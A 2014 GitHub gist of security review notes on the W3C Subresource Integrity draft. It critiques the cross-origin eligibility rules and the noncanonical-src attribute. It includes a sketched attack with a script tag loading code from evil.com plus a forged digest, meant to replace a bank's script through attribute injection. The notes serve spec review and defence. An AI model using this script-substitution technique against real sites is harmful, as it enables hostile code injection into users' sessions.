Skip to content

Instantly share code, notes, and snippets.

@koto
Created January 28, 2014 23:08
Show Gist options
  • Save koto/8678570 to your computer and use it in GitHub Desktop.
Save koto/8678570 to your computer and use it in GitHub Desktop.
http://w3c.github.io/webappsec/specs/subresourceintegrity/
issues:
"3.3.2 Is resource eligible for integrity validation
In order to mitigate an attackers ability to read data cross-origin by brute-forcing values via integrity checks, resources are only eligible for such checks if they are same-origin, publically cachable, or is the result of a granted the loading origin explicit access via CORS. [CORS] The following algorithm details these restrictions:"
publically cacheable != attacker could could read them anyway. For example - cross origin intranet resources. What if intranet resource is publicly cacheable? still allows for bruteforcing intranet resource body from internet (SOP bypass)
<iframe integrity> why not just <iframe srcdoc> or <iframe src=data:>?
3.5.2
<script src="http://example.com/script.js"
noncanonical-src="http://cdn.example.com/script.js"
integrity="ni:///sha-256;jsdfhiuwergn...vaaetgoifq?ct=application/javascript"></script>
this is very xss-friendly (with only attribute injection being needed). if noncanonical-src and integrity attributes are injected here, not only can the attacker selectively disable loading chosen scripts, but can also inject his own. potentially even http:// in https:// origin.
This is sketchy. attribute injection can selectively disable loading resources.
4.1.1
Another variant of attack:
lure user to visit: <script src="http://evil.com/evil.js" digest="ni://sha-256;123...789">
use attribute inj vuln in bank to add digest="ni://sha-256;123...789" to any legitimate bank script, replacing it.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment